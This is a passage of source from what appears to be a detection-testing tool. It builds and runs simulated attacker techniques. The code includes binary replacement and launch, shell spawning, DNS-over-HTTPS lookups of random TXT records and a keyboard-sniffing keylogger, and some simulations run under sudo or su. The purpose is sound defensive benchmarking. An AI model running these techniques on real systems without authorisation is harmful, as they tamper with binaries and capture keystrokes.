32 | github.com/godbus/dbus v4.1.0+incompatible h1:WqqLRTsQic3apZUK9qC5sGNfXthmPXzUZ7nQPrNITa4=
33 | github.com/godbus/dbus v4.1.0+incompatible/go.mod h1:/YcGZj5zSblfDWMMoOzV4fas9FZnQYTkDnsGvmh2Grw=
34 | github.com/gonuts/binary v0.2.0 h1:caITwMWAoQWlL0RNvv2lTU/AHqAJlVuu6nZmNgfbKW4=
35 | github.com/gonuts/binary v0.2.0/go.mod h1:kM+CtBrCGDSKdv8WXTuCUsw+loiy8f/QEI8YCCC0M/E=
36 | github.com/google/gopacket v1.1.19 h1:ves8RnFZPGiFnTS0uPQStjwru6uO6h+nlr9j6fL7kF8=
37 | github.com/google/gopacket v1.1.19/go.mod h1:iJ8V8n6KS+z2U1A8pUwu8bW5SyEMkXJB8Yo/Vo+TKTo=
38 | github.com/gopherjs/gopherjs v0.0.0-20181017120253-0766667cb4d1 h1:EGx4pi6eqNxGaHF6qqu48+N2wcFQ5qg5FXgOdqsJ5d8=
39 | github.com/gopherjs/gopherjs v0.0.0-20181017120253-0766667cb4d1/go.mod h1:wJfORRmW1u3UXTncJ5qlYoELFm8eSnnEO6hX4iZ3EWY=
40 | github.com/jtolds/gls v4.20.0+incompatible h1:xdiiI2gbIgH/gLH7ADydsJ1uDOEzR8yvV7C0MuV77Wo=
41 | github.com/jtolds/gls v4.20.0+incompatible/go.mod h1:QJZ7F/aHp+rZTRtaJ1ow/lLfFfVYBRgL+9YlvaHOwJU=
42 | github.com/keybase/go-keychain v0.0.0-20200502122510-cda31fe0c86d h1:gVjhBCfVGl32RIBooOANzfw+0UqX8HU+yPlMv8vypcg=
43 | github.com/keybase/go-keychain v0.0.0-20200502122510-cda31fe0c86d/go.mod h1:W6EbaYmb4RldPn0N3gvVHjY1wmU59kbymhW9NATWhwY=
44 | github.com/keybase/go.dbus v0.0.0-20200324223359-a94be52c0b03/go.mod h1:a8clEhrrGV/d76/f9r2I41BwANMihfZYV9C223vaxqE=
45 | github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ=
46 | github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI=
47 | github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE=
48 | github.com/kylelemons/godebug v1.1.0 h1:RPNrshWIDI6G2gRW9EHilWtl7Z6Sb1BR0xunSBf0SNc=
49 | github.com/kylelemons/godebug v1.1.0/go.mod h1:9/0rRGxNHcop5bhtWyNeEfOS8JIWk580+fNqagV/RAw=
50 | github.com/likexian/doh-go v0.6.4 h1:UnTrIVAOwkBvKU6qOt2W3C5yC9/YO02UVPPcN26iZDY=
51 | github.com/likexian/doh-go v0.6.4/go.mod h1:9jHpL/WPYmOM8+93RwXDf5TpZZwQjHrmIglXmjHpLlA=
52 | github.com/likexian/gokit v0.21.11 h1:tBA2U/5e9Pq24dsFuDZ2ykjsaSznjNnovOOK3ljU1ww=
53 | github.com/likexian/gokit v0.21.11/go.mod h1:0WlTw7IPdiMtrwu0t5zrLM7XXik27Ey6MhUJHio2fVo=
54 | github.com/lucasb-eyer/go-colorful v1.2.0 h1:1nnpGOrhyZZuNyfu1QjKiUICQ74+3FNCN69Aj6K7nkY=
55 | github.com/lucasb-eyer/go-colorful v1.2.0/go.mod h1:R4dSotOR9KMtayYi1e77YzuveK+i7ruzyGqttikkLy0=
56 | github.com/mattn/go-isatty v0.0.13/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU=
57 | github.com/mattn/go-isatty v0.0.14 h1:yVuAays6BHfxijgZPzw+3Zlu5yQgKGP2/hcQbHb7S9Y=
58 | github.com/mattn/go-isatty v0.0.14/go.mod h1:7GGIvUiUoEMVVmxf/4nioHXj79iQHKdU27kJ6hsGG94=
59 | github.com/mattn/go-runewidth v0.0.10/go.mod h1:RAqKPSqVFrSLVXbA8x7dzmKdmGzieGRCM46jaSJTDAk=
60 | github.com/mattn/go-runewidth v0.0.12/go.mod h1:RAqKPSqVFrSLVXbA8x7dzmKdmGzieGRCM46jaSJTDAk=
61 | github.com/mattn/go-runewidth v0.0.13 h1:lTGmDsbAYt5DmK6OnoV7EuIF1wEIFAcxld6ypU4OSgU=
62 | github.com/mattn/go-runewidth v0.0.13/go.mod h1:Jdepj2loyihRzMpdS35Xk/zdY8IAYHsh153qUoGf23w=
63 | github.com/muesli/ansi v0.0.0-20211018074035-2e021307bc4b h1:1XF24mVaiu7u+CFywTdcDo2ie1pzzhwjt6RHqzpMU34=
64 | github.com/muesli/ansi v0.0.0-20211018074035-2e021307bc4b/go.mod h1:fQuZ0gauxyBcmsdE3ZT4NasjaRdxmbCS0jRHsrWu3Ho=
65 | github.com/muesli/reflow v0.2.1-0.20210115123740-9e1d0d53df68/go.mod h1:Xk+z4oIWdQqJzsxyjgl3P22oYZnHdZ8FFTHAQQt5BMQ=
66 | github.com/muesli/reflow v0.3.0 h1:IFsN6K9NfGtjeggFP+68I4chLZV2yIKsXJFNZ+eWh6s=
67 | github.com/muesli/reflow v0.3.0/go.mod h1:pbwTDkVPibjO2kyvBQRBxTWEEGDGq0FlB1BIKtnHY/8=
68 | github.com/muesli/termenv v0.9.0/go.mod h1:R/LzAKf+suGs4IsO95y7+7DpFHO0KABgnZqtlyx2mBw=
69 | github.com/muesli/termenv v0.11.1-0.20220204035834-5ac8409525e0/go.mod h1:Bd5NYQ7pd+SrtBSrSNoBBmXlcY8+Xj4BMJgh8qcZrvs=
70 | github.com/muesli/termenv v0.11.1-0.20220212125758-44cd13922739 h1:QANkGiGr39l1EESqrE0gZw0/AJNYzIvoGLhIoVYtluI=
71 | github.com/muesli/termenv v0.11.1-0.20220212125758-44cd13922739/go.mod h1:Bd5NYQ7pd+SrtBSrSNoBBmXlcY8+Xj4BMJgh8qcZrvs=
72 | github.com/niemeyer/pretty v0.0.0-20200227124842-a10e7caefd8e/go.mod h1:zD1mROLANZcx1PVRCS0qkT7pwLkGfwJo4zjcN/Tysno=
73 | github.com/otiai10/copy v1.7.0 h1:hVoPiN+t+7d2nzzwMiDHPSOogsWAStewq3TwU05+clE=
74 | github.com/otiai10/copy v1.7.0/go.mod h1:rmRl6QPdJj6EiUqXQ/4Nn2lLXoNQjFCQbbNrxgc/t3U=
75 | github.com/otiai10/curr v0.0.0-20150429015615-9b4961190c95/go.mod h1:9qAhocn7zKJG+0mI8eUu6xqkFDYS2kb2saOteoSB3cE=
76 | github.com/otiai10/curr v1.0.0/go.mod h1:LskTG5wDwr8Rs+nNQ+1LlxRjAtTZZjtJW4rMXl6j4vs=
77 | github.com/otiai10/mint v1.3.0/go.mod h1:F5AjcsTsWUqX+Na9fpHb52P8pcRX2CI6A3ctIT91xUo=
78 | github.com/otiai10/mint v1.3.3 h1:7JgpsBaN0uMkyju4tbYHu0mnM55hNKVYLsXmwr15NQI=
79 | github.com/otiai10/mint v1.3.3/go.mod h1:/yxELlJQ0ufhjUwhshSj+wFjZ78CnZ48/1wtmBH1OTc=
80 | github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
81 | github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
82 | github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
83 | github.com/rivo/uniseg v0.1.0/go.mod h1:J6wj4VEh+S6ZtnVlnTBMWIodfgj8LQOQFoIToxlJtxc=
84 | github.com/rivo/uniseg v0.2.0 h1:S1pD9weZBuJdFmowNwbpi7BJ8TNftyUImj/0WQi72jY=
85 | github.com/rivo/uniseg v0.2.0/go.mod h1:J6wj4VEh+S6ZtnVlnTBMWIodfgj8LQOQFoIToxlJtxc=
86 | github.com/sahilm/fuzzy v0.1.0 h1:FzWGaw2Opqyu+794ZQ9SYifWv2EIXpwP4q8dY1kDAwI=
87 | github.com/sahilm/fuzzy v0.1.0/go.mod h1:VFvziUEIMCrT6A6tw2RFIXPXXmzXbOsSHF0DOI8ZK9Y=
88 | github.com/smartystreets/assertions v0.0.0-20180927180507-b2de0cb4f26d h1:zE9ykElWQ6/NYmHa3jpm/yHnI4xSofP+UP6SpjHcSeM=
89 | github.com/smartystreets/assertions v0.0.0-20180927180507-b2de0cb4f26d/go.mod h1:OnSkiWE9lh6wB0YB77sQom3nweQdgAjqCqsofrRNTgc=
90 | github.com/smartystreets/goconvey v1.6.4 h1:fv0U8FUIMPNf1L9lnHLvLhgicrIVChEkdzIKYqbNC9s=
91 | github.com/smartystreets/goconvey v1.6.4/go.mod h1:syvi0/a8iFYH4r/RixwvyeAJjdLS9QV7WQ/tjFTllLA=
92 | github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
93 | github.com/stretchr/testify v1.2.2/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs=
94 | github.com/stretchr/testify v1.4.0/go.mod h1:j7eGeouHqKxXV5pUuKE4zz7dFj8WfuZ+81PSLYec5m4=
95 | github.com/stretchr/testify v1.5.1 h1:nOGnQDM7FYENwehXlg/kFVnos3rEvtKTjRvOWSzb6H4=
96 | github.com/stretchr/testify v1.5.1/go.mod h1:5W2xD1RspED5o8YsWQXVCued0rvSQ+mT+I5cxcmMvtA=
97 | github.com/zalando/go-keyring v0.1.0 h1:ffq972Aoa4iHNzBlUHgK5Y+k8+r/8GvcGd80/OFZb/k=
98 | github.com/zalando/go-keyring v0.1.0/go.mod h1:RaxNwUITJaHVdQ0VC7pELPZ3tOWn13nr0gZMZEhpVU0=
99 | github.com/zellyn/kooky v0.0.0-20210408152652-87b89e95f98f h1:Oxzmfe0Xoum87EDOWZkTZKVkhDnArW8t1OQ3KnYT600=
100 | github.com/zellyn/kooky v0.0.0-20210408152652-87b89e95f98f/go.mod h1:QM4+3a3KkwFXtuTz+w41LBKU+MW7KecHBn0bNalcPKA=
101 | golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
102 | golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
103 | golang.org/x/crypto v0.0.0-20200323165209-0ec3e9974c59/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto=
104 | golang.org/x/crypto v0.0.0-20200622213623-75b288015ac9/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto=
105 | golang.org/x/crypto v0.0.0-20201016220609-9e8e0b390897 h1:pLI5jrR7OSLijeIDcmRxNmw2api+jEfxLoykJVice/E=
106 | golang.org/x/crypto v0.0.0-20201016220609-9e8e0b390897/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto=
107 | golang.org/x/lint v0.0.0-20200302205851-738671d3881b/go.mod h1:3xt1FjdF8hUf6vQPIChWIBhFzV8gjjsPE/fR3IyQdNY=
108 | golang.org/x/mod v0.1.1-0.20191105210325-c90efee705ee/go.mod h1:QqPTAvyqsEbceGzBzNggFXnrqF1CaUcvgkdR5Ot7KZg=
109 | golang.org/x/net v0.0.0-20180811021610-c39426892332/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
110 | golang.org/x/net v0.0.0-20190311183353-d8887717615a/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
111 | golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
112 | golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
113 | golang.org/x/net v0.0.0-20191116160921-f9c825593386/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
114 | golang.org/x/net v0.0.0-20201031054903-ff519b6c9102 h1:42cLlJJdEh+ySyeUUbEQ5bsTiq8voBeTuweGVkY6Puw=
115 | golang.org/x/net v0.0.0-20201031054903-ff519b6c9102/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU=
116 | golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
117 | golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
118 | golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
119 | golang.org/x/sys v0.0.0-20200116001909-b77594299b42/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
120 | golang.org/x/sys v0.0.0-20200930185726-fdedc70b468f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
121 | golang.org/x/sys v0.0.0-20201107080550-4d91cf3a1aaf/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
122 | golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
123 | golang.org/x/sys v0.0.0-20210119212857-b64e53b001e4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
124 | golang.org/x/sys v0.0.0-20210124154548-22da62e12c0c/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
125 | golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c h1:F1jZWGFhYfh0Ci55sIpILtKKK8p3i2/krTr0H1rg74I=
126 | golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
127 | golang.org/x/term v0.0.0-20210422114643-f5beecf764ed h1:Ei4bQjjpYUsS4efOUz+5Nz++IVkHk87n2zBA0NxBWc0=
128 | golang.org/x/term v0.0.0-20210422114643-f5beecf764ed/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
129 | golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
130 | golang.org/x/text v0.3.2/go.mod h1:bEr9sfX3Q8Zfm5fL9x+3itogRgK3+ptLWKqgva+5dAk=
131 | golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
132 | golang.org/x/text v0.3.4 h1:0YWbFKbhXG/wIiuHDSKpS0Iy7FSA+u45VtBMfQcFTTc=
133 | golang.org/x/text v0.3.4/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
134 | golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
135 | golang.org/x/tools v0.0.0-20190328211700-ab21143f2384/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs=
136 | golang.org/x/tools v0.0.0-20200130002326-2f3ba24bd6e7/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=
137 | golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
138 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
139 | gopkg.in/check.v1 v1.0.0-20200227125254-8fa46927fb4f/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
140 | gopkg.in/ini.v1 v1.62.0 h1:duBzk771uxoUuOlyRLkHsygud9+5lrlGjdFBb4mSKDU=
141 | gopkg.in/ini.v1 v1.62.0/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k=
142 | gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
143 | gopkg.in/yaml.v2 v2.2.8 h1:obN1ZagJSUGI0Ek/LBmuj4SNLPfIny3KsKFopxRdj10=
144 | gopkg.in/yaml.v2 v2.2.8/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
145 |
--------------------------------------------------------------------------------
/images/ioc-choices.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/tstromberg/ttp-bench/78dc77c3a22ef0bdc0b94e121da3689ea7d0d9e4/images/ioc-choices.png
--------------------------------------------------------------------------------
/images/ioc-running.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/tstromberg/ttp-bench/78dc77c3a22ef0bdc0b94e121da3689ea7d0d9e4/images/ioc-running.png
--------------------------------------------------------------------------------
/images/logo.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/tstromberg/ttp-bench/78dc77c3a22ef0bdc0b94e121da3689ea7d0d9e4/images/logo.png
--------------------------------------------------------------------------------
/images/logo.xcf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/tstromberg/ttp-bench/78dc77c3a22ef0bdc0b94e121da3689ea7d0d9e4/images/logo.xcf
--------------------------------------------------------------------------------
/main.go:
--------------------------------------------------------------------------------
1 | package main
2 |
3 | import (
4 | "context"
5 | "errors"
6 | "flag"
7 | "fmt"
8 | "log"
9 | "os"
10 | "os/exec"
11 | "runtime"
12 | "strings"
13 | "time"
14 | )
15 |
16 | var (
17 | checksFlag = flag.String("checks", "", "comma-separated list of checks to execute")
18 | allChecksFlag = flag.Bool("all", false, "execute all possible checks")
19 | listChecksFlag = flag.Bool("list", false, "list possible checks")
20 |
21 | execTimeout = 120 * time.Second
22 | buildTimeout = 45 * time.Second
23 | timeFormat = "2006-01-02 15:04:05.999"
24 | )
25 |
26 | func main() {
27 | flag.Parse()
28 |
29 | ctx := context.Background()
30 | // status(fmt.Sprintf("Gathering simulations for %s/%s", runtime.GOOS, runtime.GOARCH))
31 |
32 | choices, err := gatherChoices(ctx)
33 | if err != nil {
34 | log.Fatalf("gather choices: %v", err)
35 | }
36 |
37 | if *listChecksFlag {
38 | fmt.Printf("checks available for %s/%s:\n\n", runtime.GOOS, runtime.GOARCH)
39 | for _, c := range choices {
40 | fmt.Printf("* %s: %s\n", c.name, c.desc)
41 | }
42 | os.Exit(0)
43 | }
44 |
45 | selected := []choice{}
46 | if *allChecksFlag {
47 | selected = append(selected, choices...)
48 | } else if *checksFlag != "" {
49 | for _, s := range strings.Split(*checksFlag, ",") {
50 | var found *choice
51 | for _, c := range choices {
52 | if c.name == s {
53 | found = &c
54 | break
55 | }
56 | }
57 | if found != nil {
58 | selected = append(selected, *found)
59 | } else {
60 | fmt.Printf("%s is not an available test on this platform: %v", s, choices)
61 | os.Exit(2)
62 | }
63 | }
64 | }
65 |
66 | if len(selected) == 0 {
67 | selected, err = selectChoices(ctx, choices)
68 | if err != nil {
69 | log.Fatalf("show choices: %v", err)
70 | }
71 | }
72 |
73 | if len(selected) == 0 {
74 | msg("また会おうね")
75 | os.Exit(0)
76 | }
77 |
78 | status(fmt.Sprintf("Building %d selected simulations", len(selected)))
79 | if err = buildSimulations(ctx, selected); err != nil {
80 | log.Printf("build failed: %v", err)
81 | os.Exit(1)
82 | }
83 |
84 | status(fmt.Sprintf("Executing %d selected simulations", len(selected)))
85 | if err = runSimulations(ctx, selected); err != nil {
86 | log.Printf("run failed: %v", err)
87 | os.Exit(2)
88 | }
89 | }
90 |
91 | type choice struct {
92 | name string
93 | desc string
94 | }
95 |
96 | func gatherChoices(ctx context.Context) ([]choice, error) {
97 | dirs, err := os.ReadDir("cmd")
98 | if err != nil {
99 | return nil, fmt.Errorf("readdir: %w", err)
100 | }
101 |
102 | choices := []choice{}
103 |
104 | for _, d := range dirs {
105 | c := d.Name()
106 | cmd := exec.CommandContext(ctx, "go", "doc", "./cmd/"+c)
107 | out, err := cmd.CombinedOutput()
108 | if exitErr, ok := err.(*exec.ExitError); ok {
109 | if exitErr.ExitCode() == 1 {
110 | continue
111 | }
112 | return choices, fmt.Errorf("%s failed: %v\n%s", cmd, err, out)
113 | }
114 |
115 | choices = append(choices, choice{name: c, desc: strings.TrimSpace(string(out))})
116 | }
117 |
118 | return choices, nil
119 | }
120 |
121 | func buildSimulations(ctx context.Context, checks []choice) error {
122 | failed := 0
123 |
124 | if err := os.MkdirAll("out", 0o700); err != nil {
125 | return fmt.Errorf("mkdir: %w", err)
126 | }
127 |
128 | if err := os.Chdir("out"); err != nil {
129 | return fmt.Errorf("chdir: %w", err)
130 | }
131 |
132 | for i, c := range checks {
133 | ctx, cancel := context.WithTimeout(context.Background(), buildTimeout)
134 | defer cancel()
135 | cmd := exec.CommandContext(ctx, "go", "build", "../cmd/"+c.name)
136 | out, err := cmd.CombinedOutput()
137 | if err != nil {
138 | log.Printf("#%d: build failed: %v\n%s", i, err, out)
139 | failed++
140 | continue
141 | }
142 | }
143 |
144 | return nil
145 | }
146 |
147 | func runSimulations(ctx context.Context, checks []choice) error {
148 | su, err := exec.LookPath("sudo")
149 | if err != nil {
150 | su, err = exec.LookPath("doas")
151 | if err != nil {
152 | su = "su"
153 | }
154 | }
155 |
156 | failed := map[string]string{}
157 | for i, c := range checks {
158 | if _, err := os.Stat(c.name); err != nil {
159 | log.Printf("%s not found (build failure?) - skipping", c.name)
160 | failed[c.name] = "MISSING"
161 | continue
162 | }
163 |
164 | title := fmt.Sprintf("[%d of %d] %s at %s", i+1, len(checks), c, time.Now().Format(timeFormat))
165 |
166 | announce(title)
167 | subtitle(c.desc)
168 |
169 | ctx, cancel := context.WithTimeout(context.Background(), execTimeout)
170 | defer cancel()
171 |
172 | cmd := exec.CommandContext(ctx, "./"+c.name)
173 | if strings.HasSuffix(c.name, "-root") {
174 | notice(fmt.Sprintf("This simulation requires root privileges - will use %s", su))
175 | cmd = exec.CommandContext(ctx, su, "./"+c.name)
176 | }
177 |
178 | log.Printf("executing %v", cmd.Args)
179 | cmd.Stdin = os.Stdin
180 | cmd.Stderr = os.Stderr
181 | cmd.Stdout = os.Stdout
182 | if err := cmd.Run(); err != nil {
183 | if errors.Is(ctx.Err(), context.DeadlineExceeded) {
184 | log.Printf("%s timed out as expected: %v", c.name, err)
185 | } else {
186 | if exiterr, ok := err.(*exec.ExitError); ok {
187 | failed[c.name] = fmt.Sprintf("EXITCODE_%d", exiterr.ExitCode())
188 | } else {
189 | failed[c.name] = fmt.Sprintf("ERR_%s", err)
190 | }
191 | log.Printf("%s failed: %v", c.name, err)
192 | }
193 | } else {
194 | log.Printf("%s exited successfully", c.name)
195 | }
196 |
197 | // Make it easier to disambiguate in the logs
198 | time.Sleep(1 * time.Second)
199 | }
200 |
201 | title := fmt.Sprintf("CHECKS COMPLETE - %d of %d checks failed", len(failed), len(checks))
202 | announce(title)
203 |
204 | for _, c := range checks {
205 | state := failed[c.name]
206 | if state == "" {
207 | state = "SUCCESS"
208 | }
209 | fmt.Printf("%-30.30s: %s\n", c.name, state)
210 | }
211 |
212 | return nil
213 | }
214 |
--------------------------------------------------------------------------------
/pkg/iexec/iexec.go:
--------------------------------------------------------------------------------
1 | package iexec
2 |
3 | import (
4 | "context"
5 | "errors"
6 | "fmt"
7 | "log"
8 | "os"
9 | "os/exec"
10 | "time"
11 | )
12 |
13 | func WithTimeout(timeout time.Duration, program string, args ...string) error {
14 | ctx, cancel := context.WithTimeout(context.Background(), timeout)
15 | defer cancel()
16 |
17 | cmd := exec.CommandContext(ctx, program, args...)
18 | log.Printf("running %s ... (timeout=%s)", cmd, timeout)
19 | bs, err := cmd.CombinedOutput()
20 | if err != nil {
21 | if errors.Is(ctx.Err(), context.DeadlineExceeded) {
22 | log.Printf("hit my %s time limit, have a wonderful day! ...", timeout)
23 | return nil
24 | }
25 | return fmt.Errorf("cmd: %v\n%s", err, bs)
26 | }
27 |
28 | log.Printf("output: %s", bs)
29 | return nil
30 | }
31 |
32 | func InteractiveTimeout(timeout time.Duration, program string, args ...string) error {
33 | ctx, cancel := context.WithTimeout(context.Background(), timeout)
34 | defer cancel()
35 |
36 | cmd := exec.CommandContext(ctx, program, args...)
37 | log.Printf("running %s ... (timeout=%s)", cmd, timeout)
38 | cmd.Stdin = os.Stdin
39 | cmd.Stderr = os.Stderr
40 | cmd.Stdout = os.Stdout
41 |
42 | if err := cmd.Run(); err != nil {
43 | if errors.Is(ctx.Err(), context.DeadlineExceeded) {
44 | log.Printf("hit my %s time limit, have a wonderful day! ...", timeout)
45 | return nil
46 | }
47 | return err
48 | }
49 |
50 | return nil
51 | }
52 |
--------------------------------------------------------------------------------
/pkg/simulate/breakout.go:
--------------------------------------------------------------------------------
1 | package simulate
2 |
3 | import (
4 | "fmt"
5 | "log"
6 | "os"
7 | "os/exec"
8 | "syscall"
9 | "time"
10 |
11 | cp "github.com/otiai10/copy"
12 | )
13 |
14 | // SpawnShell will spawn at least two suspicious children
15 | func SpawnShellID() error {
16 | c := exec.Command("bash", "-c", "id")
17 | log.Printf("running %s from %s", c, os.Args[0])
18 | bs, err := c.CombinedOutput()
19 | if err != nil {
20 | return fmt.Errorf("run failed: %v\n%s", err, bs)
21 | }
22 | fmt.Printf("%s\n", bs)
23 | time.Sleep(5 * time.Second)
24 | return nil
25 | }
26 |
27 | func ReplaceAndLaunch(src string, dest string, args string) error {
28 | s, err := os.Stat(src)
29 | if err != nil {
30 | return fmt.Errorf("stat: %w", err)
31 | }
32 |
33 | cs, err := os.Stat(dest)
34 | csize := int64(0)
35 | if err == nil {
36 | csize = cs.Size()
37 | }
38 |
39 | if s.Size() == csize {
40 | log.Printf("%s already appears to be fake", dest)
41 | } else {
42 | log.Printf("backing up %s ...", dest)
43 | if err := os.Rename(dest, dest+".iocbak"); err != nil {
44 | return fmt.Errorf("rename: %w", err)
45 | }
46 | }
47 |
48 | defer func() {
49 | log.Printf("restoring %s ...", dest)
50 | if err := os.Rename(dest+".iocbak", dest); err != nil {
51 | log.Fatalf("unable to restore: %v", err)
52 | }
53 | }()
54 |
55 | log.Printf("populating %s ...", dest)
56 | if err := cp.Copy(src, dest); err != nil {
57 | return fmt.Errorf("copy: %v", err)
58 | }
59 |
60 | if err := os.Chmod(dest, 0o755); err != nil {
61 | return fmt.Errorf("chmod failed: %v", err)
62 | }
63 |
64 | c := exec.Command("sh", "-c", dest, args)
65 |
66 | // If we are root, swap to the user who ran ttp-bench
67 | if syscall.Geteuid() == 0 {
68 | user := os.Getenv("DOAS_USER")
69 | if user == "" {
70 | user = os.Getenv("SUDO_USER")
71 | }
72 | if user == "" {
73 | user = "nobody"
74 | }
75 | c = exec.Command("/usr/bin/su", user, "-c", fmt.Sprintf(`"%s" %s`, dest, args))
76 | }
77 |
78 | log.Printf("running %s ...", c)
79 | bs, err := c.CombinedOutput()
80 | if err != nil {
81 | return fmt.Errorf("run failed: %v\n%s", err, bs)
82 | }
83 | log.Printf("output: %s", bs)
84 | return nil
85 | }
86 |
--------------------------------------------------------------------------------
/pkg/simulate/doh.go:
--------------------------------------------------------------------------------
1 | package simulate
2 |
3 | import (
4 | "context"
5 | "crypto/rand"
6 | "encoding/hex"
7 | "fmt"
8 | "log"
9 | "time"
10 |
11 | "github.com/likexian/doh-go"
12 | "github.com/likexian/doh-go/dns"
13 | )
14 |
15 | func DNSOverHTTPS() error {
16 | ctx, cancel := context.WithTimeout(context.Background(), 60*time.Second)
17 | defer cancel()
18 |
19 | c := doh.Use(doh.CloudflareProvider, doh.GoogleProvider)
20 |
21 | for i := 0; i < 16; i++ {
22 | bytes := make([]byte, 8)
23 | if _, err := rand.Read(bytes); err != nil {
24 | return fmt.Errorf("read: %w", err)
25 | }
26 |
27 | host := fmt.Sprintf("%s.blogspot.com", hex.EncodeToString(bytes))
28 | log.Printf("looking up TXT record for %s ...", host)
29 |
30 | _, err := c.Query(ctx, dns.Domain(host), dns.TypeTXT)
31 | if err != nil {
32 | return fmt.Errorf("query: %w", err)
33 | }
34 | time.Sleep(500 * time.Millisecond)
35 | }
36 |
37 | c.Close()
38 | return nil
39 | }
40 |
--------------------------------------------------------------------------------
/pkg/simulate/keylogger.go:
--------------------------------------------------------------------------------
1 | package simulate
2 |
3 | import (
4 | "fmt"
5 | "log"
6 | "os"
7 | "sync"
8 | "time"
9 |
10 | "github.com/MarinX/keylogger"
11 | )
12 |
13 | func listenKeyboard(kbd string) error {
14 | if os.Geteuid() != 0 {
15 | log.Printf("effective uid is %d, not 0 (sniffing may not work)", os.Geteuid())
16 | }
17 |
18 | k, err := keylogger.New(kbd)
19 | if err != nil {
20 | return fmt.Errorf("keyboard: %w", err)
21 | }
22 | defer k.Close()
23 |
24 | events := k.Read()
25 | for e := range events {
26 | if e.KeyPress() {
27 | log.Printf("sniffed key press on %s (hiding the value for privacy)", kbd)
28 | }
